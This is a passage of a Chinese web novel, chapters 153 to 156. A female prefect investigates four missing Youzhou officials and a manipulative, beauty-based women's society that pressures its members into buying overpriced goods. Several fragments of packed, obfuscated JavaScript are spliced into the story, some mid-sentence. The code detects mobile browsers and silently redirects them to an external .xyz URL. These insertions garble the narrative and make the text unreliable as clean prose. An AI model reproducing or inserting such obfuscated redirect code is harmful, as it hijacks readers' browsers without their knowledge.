当时,陆文远听到这个传言,也没当回事。他当刺史期间一切顺利,也就淡忘了这个传言。没想到,七年后,也就是今年,他突然失踪了。 不仅是他,继任幽州刺史的三位大人,也相继失踪。大家便又想起了耿刺史临终时的诅咒,莫非真的是耿刺史冤魂不散,平等地针对每一任幽州刺史? 因此,许多百姓、官吏都把几任刺史的失踪归因于这个诅咒。” 云水谣道:“几位刺史失踪必有缘故,绝不可能是鬼魂作乱。而且,那位死去的耿刺史所仇视的只有陆文远一人,应该不会针对其他刺史才对。再者,民间传说中,一般都是冤魂作乱,这耿刺史冤从何来?本就是他自己行贿不成,反被揭露,哪还有脸害人?” 长史吕民杰道:“一开始我们也这么认为,可失踪案迟迟没有进展,除了鬼魂作乱、诅咒生效,也确实找不到其他原因了。我们活了几十年,还要去相信这些,自己也觉得挺可笑的。若是大人能查明原因,找回失踪的几位刺史,也可以中止这些流言。” 云水谣道:“我会尽力而为。这件事的难点在于,不知道几位刺史失踪是同一个原因,还是不同的原因。也就是说,不知道针对他们的是不是同一批人。” 司马张呈祥道:“几位刺史来自不同的地方,各自的经历也不同,若要说同时跟某个人或是某个团体结仇,不太可能。不过,我们还有另一个猜测。” 云水谣问道:“什么猜测?” “幽州跟瀚海国接壤,时常发生战事。我们之前猜测,会不会是瀚海国那边掳走或是杀了几位刺史,想引起幽州动乱,进而攻占幽州。” 云水谣沉思道:“这倒确实有可能。这几个月,瀚海国那边有什么动静吗?” 张呈祥道:“第三任刺史赵仁顺在位时,曾攻打瀚海国的边境,打下了一个县,叫做梅花县。近几个月来,瀚海国一直想夺回梅花县,双方交战几场,但没成功。梅花县及其所在的交原郡,几十年前是大夏的国土,被瀚海国侵占。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972874|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在大夏重新夺回梅花县,也在情理之中,因此边境的将士们士气高涨,不仅抵御住了敌军,还想继续往西边打。不过现在管理军队的安将军比较谨慎,只让将士们守住梅花县的城墙,不要随意外出。” 云水谣问道:“有什么证据证明是瀚海国掳走了四位刺史吗?” “现在暂时没什么证据,不过第三任赵刺史是在梅花县边境那里失踪的。” 云水谣点了点头。她现在有点乱,不知道该从何处开始查起。 她想了想,不如还是从第一任太守失踪案开始吧。 她又仔细看了看第一任陆太守失踪的卷宗。 陆文远刺史是今年的一月二十号,在幽州的揽月茶楼失踪的。 当时,他去见了一个叫郭奇的客人。二人进了雅间,就没出来。 后来,陆刺史的下人去寻找,却发现两个人都不见了。 云水谣问道:“这个郭奇是何许人也?他和陆刺史一起失踪,到底是他绑架了陆刺史,还是他也是受害者?” 长史吕民杰道:“郭奇是陆刺史的友人之子,陆刺史与郭奇的父亲交好,因此郭奇从小就对陆刺史比较熟悉。他来幽州,应该是来探望陆刺史的。不过,他还有一个身份。” “什么身份?” “郭奇是东宫的侍卫,因休假了,才来幽州的。” 云水谣皱眉:“东宫?” 没想到,这事又跟太子扯上了关系。 如果真是东宫的侍卫掳走或杀死了刺史,那太子也洗不脱嫌疑。 云水谣觉得,太子可真不好当,隔三差五就被人挖坑。 还好她是太子一党的人,还能为太子查明真相。如果是太子的对家,只怕此刻就要想方设法让太子入罪了。 云水谣道:“那郭奇虽然是东宫侍卫,但也许是受人指使,也许他也是被人掳走,总之事情未明之前,还是不要胡乱猜测。” 吕长史道:“是,我们并不敢有什么猜测。得知郭奇是东宫侍卫时,我们也大吃一惊,生怕被太子殿下问责。” 东宫的侍卫在幽州失踪,太子其实也可以反过来向幽州官员问责,让他们找人,找不到就要受罚。不过太子并没这样做,足见其仁慈。 云水谣问道:“几任刺史住的房间是同一间吗?” “不是。因为第一任陆刺史是失踪的,所以第二任刺史就空置了那间房,另选一间房居住。其他几任刺史也皆是如此。” 每个刺史住的地方都不一样,那就好办了。也就是说,他们的住所都保留了失踪前的样子。 云水谣让下属们带自己去看前几任刺史的房间,长史和司马赶紧带路。 第一任刺史陆文远住的房间,宽敞明亮,摆着许多名贵的家具,不过看起来已经有些陈旧了。他当了七年刺史,倒也正常。 一眼看过去,这里富丽堂皇,倒没有什么奇怪之处。 云水谣问道:“以前搜过这间屋子吗?” 153.脂粉 长史吕民杰道:“陆刺史是在茶楼失踪,所以对于他的房间,我们没太仔细搜查,随便看了看,没发现什么,也就算了。” 吕民杰和张呈祥一直都是雍州的官吏,只不过以前官职不高,后来几任雍州刺史接连失踪后,他们两人才被提拔上来的。 所以对于以前的事,问他们两人就清楚了。几位刺史失踪的案件,他们当时也参与了调查。 云水谣道:“再让衙役们仔细搜搜,别放过任何一个角落。” 二人应道:“是。” 几个衙役进来搜查,云水谣接着去了第二任刺史林益恭的屋子。 林益恭在幽州当了十多年的官员,不过都只是属官,不是刺史。陆刺史失踪后,他作为幽州长史,被提拔为刺史。 不过,他的房间一直没有更换,就是住在自己以前的屋子里。 因此,林益恭的房间看着更加陈旧。 他的房间比较简约,没有太多的陈设,不过博古架上放了十几个种类各异的花瓶,墙上挂了好几幅山水画,看来他平时比较喜欢花瓶和字画。 云水谣照旧让几个衙役进来,仔细搜查林益恭的屋子。 接着,她去了第三任刺史赵仁顺的屋子。 这间屋子更加宽敞,没多少家具,墙角放着一些兵器,桌上放着沙盘,沙盘上是缩略的地形图。墙上也挂着一大幅地图,上面详细标注了幽州和瀚海国边境的重要山川河流等地标。 赵仁顺是武将,这样布置倒也正常。 长史吕民杰道:“赵刺史一上任,就想着收服失地,因此不仅大肆征兵,加强练兵,还在房中挂上地形图,日夜观看。不过,赵刺史过于激进,也让百姓们怨声载道。” 云水谣问道:“哦?这话怎么说?” “如今瀚海国那边防守严密,赵刺史攻下梅花县,其实费了很大的功夫,死了很多士兵。而这些士兵大部分是从幽州征调的,百姓们丧子,自然心怀不满。” “ 照这么说,赵刺史会不会被某些胆大又死了亲人的百姓杀了?” 司马张呈祥道:“我们也曾有此怀疑,但普通百姓哪能杀死一州刺史?把他绑走难度就更大了。就算真的绑走,也不会不留痕迹。赵将军可是武将出身,擅使双枪、铁爪,平时一人对战几十个士兵也不在话下,打百姓就更轻松了。” 云水谣也觉得不太可能。 这时,搜查前两任刺史屋子的衙役都过来了,手里拿着一些东西,禀告道:“大人,我们在陆刺史和林刺史的房间里,发现一些女人用的脂粉、梳子、桂花头油等物。” 说着,他们把这些物件呈上。 云水谣看了看,问道:“这两位刺史可曾带家眷同住?” 长史吕民杰道:“陆刺史的家眷都在京城,她们养尊处优,幽州条件不比京城,因此她们从不过来,每次都是陆刺史回京城探亲。 至于林刺史,他在幽州已经十多年了,家眷倒是跟着。但他另外置办了宅院,家眷们都在别院居住。衙门里的房间,他也只是白天待一下,或是有时候熬夜办案,会在这边过夜,其他时候他也住在自己的别院的。” 云水谣道:“照这么说,这两位刺史的房间里都不该有女人的东西才对。” 司马张呈祥道:“也许是他们不小心把家人的东西带到了这里,这倒也寻常。有时候我出门匆忙,也会不小心把母亲、妹妹的物件带出来。” 云水谣道:“嗯,也有可能。不过,之前你们怎么没发现这些东西?” 张呈祥道:“之前只是粗浅地搜了一下,确实没看到。” 衙役们说道:“禀大人,这些东西都藏得很隐秘。陆刺史房中的脂粉等物,藏在书架后面,墙壁的暗格里。林刺史房中的脂粉、头油等物,藏在一幅画后面,也是在墙上的暗格中,而且还有个机关,找到机关才能打开。” 云水谣沉思道:“这是何故?这又不是什么见不得人的东西,为何要藏得这么好?” 张呈祥道:“会不会是这些东西比较名贵,怕被人偷了?” 云水谣仔细看了看,这些脂粉、头油、梳子、镜子之类的东西,都比较普通,并不名贵,便说道:“不是什么值钱的东西。” 一个衙役说道:“难道是两位刺史另有相好的,所以把她们的脂粉藏起来,以免被家中妻子发现?” 这倒也不失为一种可能。 云水谣问道:“你们有见到前两位刺史养了其他女人吗?” 众人纷纷说道:“没有。”“就算有,也不可能让我们看见吧,更不可能带到衙门里来。” 这个分析倒有道理。刺史身为一方长官,肯定注重名声,就算要找女人,也是偷偷摸摸的,不太会公然在衙门的住所里放女人的脂粉。 云水谣对司马张呈祥道:“张司马,请你调查一下几位刺史是否有结交外面的女子,如果有,打听清楚都是什么来历,看是否跟几位刺史失踪一案有关。对了,四位刺史都要调查一遍。” 张呈祥道:“是。” 云水谣想到了很多可能性。 会不会是四位刺史都跟外面的女人私.奔了?这个可能性非常小,但也不是没有。 会不会是他们的情人想要私.奔,但四位刺史舍不得自己的官位和家人,拒绝了,那些女人不忿,就绑走了几位刺史? 这些猜测都非常天马行空,云水谣也觉得自己太能联想了。 前两位刺史,她暂时不了解。不过第三位刺史赵仁顺,很明显是个一心要收复失地的武夫,应该没有任何女人能把他勾-引走才是。 云水谣想起还有第四位刺史的房间没看,便说道:“去看看董刺史所住的房间。” 长史吕民杰道:“董刺史的屋子不是空的,他女儿住在里面。” 云水谣有些惊讶。 这时,有一个身穿白色对襟棉袄、下着绿色绣蜻蜓百褶裙的少女从旁边的一间屋子里出来,娇美的容颜带着几分怒气。 在她身后,跟着一个家仆,劝说道:“小姐,您就跟奴才回京城吧。” 这绿裙少女道:“不行,找不到我爹,我就不回去。” 吕长史向云水谣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978435|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍道:“大人,这位姑娘就是董刺史的千金,董盛年小姐。” 云水谣心想,这董小姐的名字倒挺特别的。 董盛年已经走了过来,问云水谣:“你是谁?” 云水谣也不计较她的无礼,说道:“本官是新任幽州刺史云水谣。” “哦,是女官。我早听说有女官,但还没见过。你是来调查我爹失踪的案子的吗?” “对。” “那你一定要找到我爹,不然我就赖在这儿不走。” “董小姐放心,我也想留你多住一阵子,这样才能更了解你爹的事。” “你想了解什么,随便问吧。” 云水谣道:“我们还是别站着说话了,不如进你爹的房间慢慢说?” “也行,但你得把鞋脱外面,别弄脏了地。” 长史吕民杰道:“董小姐,您不可以这样对刺史大人说话。” 董盛年满不在乎地道:“这有什么,云大人自己都没意见,更何况她也没比我大多少。” 长史吕民杰有些为难地看向云水谣:“云大人,这……” 云水谣笑道:“无妨,董姑娘这样率性而为倒很好。本官先跟她交谈一下。” 云水谣能感觉到,董盛年只是脾气有些骄纵,并非故意针对自己。而且云水谣也不喜欢官场上那种官大一级压死人的作风。董盛年跟自己年龄相似,如果能像朋友那样相处,也许能套出更多话。 云水谣脱了鞋子,走进董刺史的屋子。 这间屋子的床帐、窗帘都是深蓝色、没花纹的布料,桌上放着一些较粗的毛笔,书架上还有许多跟政事相关的书籍,这些应该都是董刺史的东西。 另外,梳妆台上放着一些钗环、脂粉,窗台上放着竹蜻蜓等玩具,还有几身鲜艳的衣裳随意地搭在椅子上,也没有叠好,这些应该是董小姐之物。 云水谣问道:“董姑娘,这间屋子以前是你爹住的吗?” 董盛年道:“对。自从他失踪后,我就搬了进来。” “他没失踪时你住在哪里?” “我爹在衙门旁边租了个宅院给我住。” “你知道他失踪之前有什么异常吗?” “没什么异常。” 边上的老仆忍不住插嘴:“小姐,当日大人是为了找您才失踪的。” 董盛年道:“不可能,淮山姐姐她们都说没见过我爹。” 云水谣问道:“这是怎么回事?董刺史失踪那日,是去找董小姐了?” 那老仆看了董盛年一眼,欲言又止。 云水谣道:“你尽管说,这可是关系到你家大人安危的大事。” 老仆道:“这一切都要从天女会说起……” 董盛年却制止道:“不许说这个!我就知道你要说天女会的坏话!” 那老仆有些害怕,云水谣看出来了,便笑道:“不说就不说吧。” 她打算趁董盛年不在的时候,向这个老仆打听一下。 接着,她对董盛年道:“董姑娘,可否让衙役搜一下这间屋子?” 154.小熊 董盛年道:“不行!我爹的屋子,谁都不能动!” “可屋子里说不定有什么线索。” “好吧,那你来搜,我不想让那些臭男人翻我爹的屋子。” “我找几个帮手行不行?都是女孩。” “行吧。” 云水谣便叫上自己的丫环,还有柳依依进来,搜查屋子。 众人找了一阵,没发现什么特别的东西。 董盛年在一边道:“怎么翻得这么乱七八糟的,一会你们得给我复原啊。” 云水谣道:“董姑娘放心,会复原的。” 柳依依摸了摸床底下,道:“这里有个小盒子,是粘在床板上的,刚才没发现。” 说着,柳依依就费劲地把那个小盒子扯了出来。 云水谣觉得有些奇怪。如果是什么重要的东西,不想被人发现,一般会藏在床底下。 但这个小盒子并未直接藏在床底下,而是跟床板粘在一起。这样,就算有人查看床底下,也轻易看不见这个小盒子。 用如此隐蔽的方式藏起来,莫非小盒子里的东西非常重要? 云水谣打算打开看看,但盒子里上了锁。 柳依依道:“不知道钥匙在哪里,要不拿榔头砸开吧。” 董盛年道:“不许砸!这是我爹的!” 云水谣道:“董姑娘,也许这里面有什么重要线索,事关你爹的下落。不管你同不同意,本官都要砸开看看。你若是一再阻止,本官可以将你治罪。” 董盛年愣了一下。直到此刻她才意识到,云水谣是女官,权力比自己大得多。云水谣刚才跟自己随意地说话,只是因为她没有架子。但一旦她较起真来,自己是随时可能被惩罚的。 因此,董盛年不敢造次,站在一边,不再说话。 柳依依已经拿了个榔头来,把锁砸开了。 砸开之后,里面竟然只是一个小小的棕色布偶熊。云水谣捏了捏,感觉这布偶熊里面也没什么东西。 云水谣问董盛年:“这是你的东西吗?” 董盛年神色一变,随即说道:“是……这是我小时候的玩具,没想到我爹一直藏着。” 云水谣感觉有些奇怪,问道:“这布偶熊是有什么特殊之处吗?你爹为何藏得这么隐蔽?” “因为这个布偶熊是我爹给我做的,也是我玩得最久的玩具。后来我对这个不感兴趣了,我爹就藏了起来。没想到他一直藏到现在,还带到官舍来了。” 云水谣点了点头,走了出去。长史和衙役们已经各忙各的去了,并未在外候着,只让丫环给云水谣带话,说是有什么需要随时找他们。 衙门里的房舍倒是很多,云水谣让人收拾一间空屋子,自己住进去。 接着,她对柳依依道:“董小姐身边有个仆人,你找机会把他带过来,别让董小姐发现。” “是。” 没过多久,那董家老仆人就被带了过来。 云水谣问道:“刚才你想说什么?被你家小姐打断了。” “是,老奴想说的是,当时我家大人就是为了找小姐,才失踪的。” “当天你家小姐是离家出走了,还是失踪了?” “都不是,她是去找天女会的成员了。” “天女会?” “是,这是幽州的一个组织,好像只允许漂亮的姑娘加入,不漂亮的姑娘,即便有钱也进不去。小姐刚来此地不久,就被天女会拉进去了,她还挺喜欢的,隔三差五去参加她们的集会,还总是买一些东西回来。老爷觉得天女会不太对劲,不允许小姐加入。 小姐不愿意,好几次跟老爷发生争吵。后来,小姐出门时,老爷会跟随,她们之间的矛盾就更大了。老爷失踪那天,也是看小姐出门了,认为她一定又去找天女会的成员了,便一个人跟了上去。 谁知后来,小姐回来了,但老爷没回来,我们才知道老爷失踪了。官府盘问过天女会的成员,她们都说没见过老爷。” 云水谣听了,觉得这天女会有点奇怪。她想询问更多细节,但这老仆也说不清。 于是,云水谣去找了幽州长史吕民杰,询问天女会的事。 吕民杰道:“若说这天女会,起初我们只以为是个年轻姑娘们闹着玩的组织,但后来发现不是这样。” 吕民杰详细介绍了一下天女会。 天女会是由五个年轻女孩组建的组织,其中一个自称圣女,另外四个女孩自称天女。 这五个姑娘都长得非常漂亮,她们的组织只允许漂亮的女孩加入,不漂亮的女孩即便有钱有势,也无法加入。 因为有这个准入门槛,反而吸引了许多女孩前来参加选拔。女孩们都希望自己能加入天女会,这样就证明自己比别人漂亮。 而被准许加入的女孩们,都非常开心,自觉高人一等。平时她们也只跟天女会的成员一起玩,显得自己这个群体与众不同。 天女会隔三差五就会举办集会,或是一起踏青、游湖,或是赏花、赏月,或是一起织布、刺绣,还会发一些小礼品。 天女会的圣女和四位天女,说的话也让人很沉迷。 她们说,长得漂亮的女孩,天生就跟别人不一样,一定是比别人善良、聪慧,长相才能特别出众。所以,大家需要爱惜自己的容貌和品行,不要跟那些长相丑陋、人品不好的人一起玩。平时也要多做善事,以维持美貌。 这些话乍一听没什么问题,但天女会的成员会潜移默化地认为,只有经过圣女和四位天女认可的、能够加入天女会的人,才算得上美貌和有德行的人。 因此,凡是圣女、天女们不认可的,自然是人品、容貌有瑕疵的人。像这样的人,自己要坚决与之割席。 长此以往,这些成员不仅自视甚高,故步自封,自吹自擂,而且会将圣女和天女们的话奉为圭臬。从上到下,都只有一种声音。 凡是圣女和天女们所批评的人,她们必定群起而攻之,哪怕那个人曾经是自己的亲朋好友,或是忠心丫环,都不例外。 而且,她们会害怕被圣女和天女所否定,所以不自觉地把自己的地位放低,有一种把圣女和天女当成主子的感觉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982988|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 新成员刚加入的时候,圣女和天女会发放一些相同的首饰、香囊等物,说是圣女、天女亲手所做,外面没得卖,只有天女会成员有,这样新成员的归属感就会很强,也会对圣女、天女产生好感。 然后,圣女和天女们会组织新成员一起做一些好事,比如缝补旧衣服,说是为穷人缝补的。这样的集会参加几次之后,新成员自然会认为圣女和天女们人美心善,是一心想让大家变得更善良、更美好。 等加入时间长了,圣女和天女们会开始兜售她们自己做的护肤品、首饰等物,而且价格都很高。出于对圣女和天女们的尊敬和喜爱,信众们一般都会购买,而且买了之后都会夸这些东西好。 如果有人不想买,圣女和天女会用温和的方式劝说,但这温和的方式其实带有一丝威胁的意味,只是很多信众太过信任她们,听不出来。 而且,天女们会让其他买得多的女孩们一起来劝说,那么原先不想买的信众,也会在这种压力下买东西。当然,她们自己不会觉得被施压,只会害怕自己不合群,被天女和圣女所厌弃。她们还会反省是自己太过在乎钱财,品德不够纯洁,需要改正。 通过这样的方式,天女会的几位首领赚了很多钱。而她们所做的护肤品、香囊、首饰,其实都是用很便宜的材料做的,虽对身体无害,但也没什么效果。 不过,成员们即便觉得没效果,也不敢说,甚至怀疑自己不够善良才没效果,于是更加三缄其口,每次集会时反而更加吹捧天女和圣女们。 而且,天女会还给成员们划分了等级。 花了八百两银子以上的,称为花仙子,具体是什么花,可以自己决定。 每次集会时,普通成员要向花仙子行礼。 花了五百两银子以上的,称为花童,也有一定地位。 很多成员为了有个花童或花仙子的称号,想方设法地花钱。 董刺史上任时,带了他最疼爱的女儿董盛年一起来。董盛年长日无聊,竟接触到了天女会,还加入了。 从此,董盛年就成了天女会的忠实拥趸,似乎已经到了花仙子级别。 董刺史希望女儿退出天女会,但董盛年不同意,因此父女俩矛盾很大。 云水谣听后,道:“好像这天女会,最终的目的就是给成员卖商品啊?而且首领们通过一些言论,让成员们成为她们的忠实拥护者,这样无论她们卖什么,成员们都会全盘接受,不论多离谱的价格,成员都会掏钱。” 吕长史道:“不错。天女会的这五名首领非常聪明,她们把天女会的成员团结成了一个整体,还用行善积德会变美的言论来控制她们。很多女孩不能辨别这些言论中的私心,真把这五个首领当成是下凡的仙女一样尊敬。最终给她们送钱,眼也不眨。 而且有意思的是,这天女会说是只招美丽的女孩,其实她们招进来的每一个女孩,手头都比较宽裕,可以去买这些乱七八糟的东西。所以,若说她们筛选的标准只是容貌,我是不信的。” 云水谣问道:“以前官府是否打击过天女会的这种行为?” 155.盘诘 吕长史摇头道:“没法打击。首先它的教义是让人做善事才能变美,这话也挑不出毛病。做善事是否能变美有待商榷,但叫人做善事总没错。 其次,她们卖的东西并不会损害人体健康,即便价格虚高,那也是一个愿打一个愿挨,官府很难插手。若说她们在背后嘲笑那些容貌平庸之人一定品行不佳,这又属于她们自己的私事。难道百姓们在背后说几句不合适的话,官府也要插手吗?” 云水谣皱眉道:“确实如此。” 这个天女会所做的一切虽然可恶,但并不违法。正因如此,所以难除。她们并未用什么可怕的手段控制成员,比如下毒,只是用一些话术激发起成员的虚荣心和攀比欲。 她们也并未宣扬自己是天女转世,否则就可以以妖言惑众的罪名抓她们。她们所自称的圣女、天女,也只是天女会里的等级。但偏偏这种称呼,会让人潜移默化地把她们放在很高的位置,不敢违抗她们。 云水谣忽然想到了什么,道:“若是说她们用不正当的手段扰乱市场竞争呢?毕竟那些卖胭脂水粉或装饰品的铺子,无论质量多好,店主多热情,销售手段多高明,也不可能让所有进店的客户都买东西,而且每一个都是回头客。 天女会倒是能做到,但她们是用不正当的方式做到的。她们故意拔高自己到半神的地位,让相信她们的人出于尊敬和从众心理,不得不买她们的东西。” 吕长史道:“这也很难,因为她们主要在做的事不是开铺子,而是组织一群貌美的女子一起玩,或做手工,只是偶尔才卖东西给成员。她们的身份不算店家,而是集会发起人。组织一群女孩一起玩,而且玩的不是违法的东西,这官府也管不着。 就连董刺史对这个组织也没办法,只能约束自己的女儿,偏偏那位董小姐又是个不受约束的。” 云水谣问道:“我听说,董刺史是跟踪自己的女儿出门,才失踪的?” “董家的老仆是这么说,但是我们也没亲眼瞧见。我们曾经传唤天女会的几个首领过来,但她们说没见过董刺史。我们去她们家里搜查,也没有什么证据,只能放了她们。” 云水谣决定先去问问董盛年。今天天色已晚,等第二天再问。 第二天一大早,云水谣来到公堂,叫衙役去传唤董盛年和董家老仆。 虽然董盛年就住在官衙里,但云水谣去找她,跟传唤她来公堂,是不一样的。 让她来公堂,说明云水谣在审案,董盛年作为案件的相关者,必须如实回答,也不能再耍大小姐脾气。 很快,董盛年便来到了公堂,老仆紧随其后。 董盛年见到穿官服的云水谣,心中一凛,也不敢像昨日那样随意,老老实实地行了礼。 云水谣问道:“董姑娘,五月二十五号那天,你做了什么?” 五月二十五号,便是董刺史失踪的日子。 董盛年回答道:“我那天一大早就出门了,去找天女会的淮山姐姐,她说有好东西给我看。我去了她家之后,她说东西在另一个住所,她记错了,便拉着我从后门出去,去了她另外一个家。” 云水谣问道:“她有两个住所?这个淮山姑娘,在天女会是什么地位?” “淮山姐姐是天女会的天女,她的住处不止两个,具体有几个我也不清楚。我只知道她常住的家,在春喜街六十五号。” 春喜街是幽州比较繁华的地方,房价很贵。这个淮山姑娘能在那里买房子,而且住所还不止一处,可想而知天女会的首领们敛了多少财。 云水谣又问董家老仆:“据你所言,五月二十五号这天,董刺史是跟随自己女儿出门,后来就不见了?” 董家老仆道:“是。当时小人和几个侍卫想跟着一起去,但老爷拒绝了。老爷一个人自己跟着小姐。” 董盛年道:“可是我那天没见过我爹。” 云水谣问道:“你也没察觉到有人跟踪?” “没有。” “董刺史进了淮山姑娘的家没有?” “我不知道,应该没有吧。我去找淮山姐姐,她一见到我,就带我去了另一个住所。” “当时淮山姑娘家里还有其他人吗?” “好像没有,我没看见。” “淮山姑娘的全名叫什么?” “她姓平,叫平淮山。” 云水谣对差役道:“来人,传平淮山到堂。” 很快,平淮山就被带了过来。她确实长得很美,眼珠子时不时地转动几下,显得有些精明。 平淮山行礼道:“草民拜见刺史大人。” 云水谣问道:“五月二十五号那天,董刺史有没有去过你家?” “没有。” “你能肯定?” “反正在我离开家之前,没看见。那之后他有没有来过,我就不知道了。” “如果他来过你家,总会留下一点痕迹,比如脚印什么的。你没察觉吗?” “若说痕迹,是没有的。所以民女才认为,董刺史未曾来过我家。” “但据董家老仆所言,董刺史那天是跟着董盛年走的。” “不知道,也许跟丢了吧。” 云水谣觉得,跟丢的可能性不大。董盛年又没学过武功,也没学过反跟踪的技巧,就是个普通小姑娘。董刺史一个大男人,哪有跟不上的道理。 云水谣继续问平淮山:“那天你叫董姑娘去看什么好东西?” 平淮山道:“我得到一个双面绣摆件,正面看是白猫,反面看是黑猫。我觉得很有趣,而且董盛年一向喜欢这样的东西,所以我就邀请她来看。” 云水谣问董盛年:“确实有这个摆件吗?” 董盛年道:“有。当时我看了很喜欢,还想让淮山姐姐把它卖给我。但淮山姐姐说她也只有一个,不能卖。” 云水谣道:“当日你是怎么走到平淮山家里去的,现在重新走一遍,本官要跟着看看。” “是。我当天是从自己租的房子里出门的。” 董盛年起身准备带路,平淮山也站了起来,打算一起走。 云水谣对平淮山道:“还请平姑娘留在衙门里,等本官确定你没有嫌疑了,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989903|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放你离开。你家宅院的钥匙,还请借我一下。” 平淮山只得站在原地,拿出自己家的钥匙,递给云水谣。云水谣让人把平淮山带到客房稍作休息,但不许她出门,并派人看守。 董盛年道:“淮山姐姐是好人,放了她吧。” 云水谣道:“是不是好人,得调查之后才能判断。” 董盛年身为官家千金,见多识广,但在自己父亲有可能是消失在平淮山家的情况下,还如此信任平淮山,可想而知天女会对成员的影响到了何种地步。 换了一般人,对待这种案件嫌疑人,绝不会如此亲近和信任。 云水谣心里觉得,天女会真是块难啃的硬骨头。但是,天女会的首领只是五个年轻女孩,她们真的有能力掳走或是杀死一州刺史吗?之前三任刺史的失踪,跟她们有没有关系? 如果真是她们做的,那她们背后一定有人。经历了以前那么多案子,云水谣现在对于这种年轻漂亮的姑娘,还真不敢轻视。她们看着柔柔弱弱的,但做出来的事很有可能会吓你一跳。 董盛年带着云水谣一行人来到自己租住的房子。这个房子就在衙门边上。 董盛年道:“这里是我之前住的地方。五月二十五号早上,我就是从这里出发,去淮山姐姐家里。” 云水谣点点头,道:“带路吧。你在前面走,我们在后面观察一下。” 董盛年的住所离衙门很近,董刺史稍加观察,就能看到女儿出门与否,然后进行跟踪。 董盛年一路向前,沿着自己之前走的路,往平淮山家里而去。 云水谣叫她尽量走慢一些,因为自己要观察这一路上有没有什么异常。 云水谣叫了几个暗卫和有经验的衙役,让他们跟自己一起观察。 大约走了半个多时辰,就到了平淮山家。 平淮山家并不大,大概三间屋子,带前院和后院,但装潢很不错,从外面看,整体非常和谐精致,一看便价值不菲。 云水谣问跟随的暗卫和衙役:“这一路上你们可有发现什么异常吗?” 暗卫道:“大人,我们走的都是一些比较热闹的路,凶手不太可能悄无声息地把董刺史从路上掳走。” 衙役们也是相同的看法。 云水谣心中有数,这说明,董刺史失踪在平淮山家里的可能性更大。 当时平怀山和董盛年虽然离开了,但保不齐这宅子里还有其他人,趁机对董刺史下手。 云水谣拿出钥匙开了门,走了进去。 她和衙役们把这座宅子转了几遍,暂时没发现什么异常。 不过,董刺史失踪已经几个月了,这么久的时间,足够消除所有痕迹了。 云水谣问董盛年:“这座宅子平时是平淮山一个人住吗?” “对,不过圣女和其他天女也会经常来。淮山姐姐也会邀请朋友过来,比如我。” 董盛年在背后还一口一个“圣女”、“天女”,说明她对天女会首领的尊敬已经刻在骨子里了。 云水谣问道:“你很尊敬这些圣女和天女吗?” 156.身亡 “对啊,她们都很好,是我们的榜样。” “你为什么会认为她们好呢?” “啊……这个,自然是通过日常的相处中看出来的啊。她们对我们都很和气,还经常带我们做善事。她们还教给我们很多道理,比如不要轻易发脾气,对于自己看不惯的人,也要有包容心,等等。她们每一个都救了很多人,我们还远远不及呢。” “救了很多人?” “对啊,比如淮山姐姐,以前住在一条河边。那条河没有栏杆,她就经常守在河边,让来往的小孩不能靠近。一旦有人落水,她就会下去救。还有圣女姐姐,她有一回遇到附近的人家起火,她就冲进火场救了那些人,连那些人家养的小猫小狗都救出来了呢。这样的事还有很多。” “这都是你亲眼看见的?” “不是啊,我们平时不在一起生活,我哪能看见这么多事呢。” “这么说,这些事情都是她们自己说出来的?” “是啊。” “有没有一种可能,她们在说谎?” “怎么可能?虽然您是女官,但您若是要诋毁圣女姐姐和天女姐姐,我也是要据理力争的。” “你就这么相信她们?” “当然了。云大人,您有所怀疑,是因为您跟她们还不熟悉。我建议您来参加我们的集会,等您对她们有所了解,也会很佩服她们的。您长得这么好看,一定有资格加入的。如果天女姐姐们不许你加入,我就给你作保,总之一定让你入会。” “谢谢你的好意,暂时不需要哈。” “为什么?你知不知道,只有容貌特别出众的人,才能加入天女会的。” “所谓的‘容貌特别出众’,不也是圣女和天女们来评判的吗?那就全凭她们的主观喜好。那她们凭什么断定一个女孩是美女还是丑女呢?” 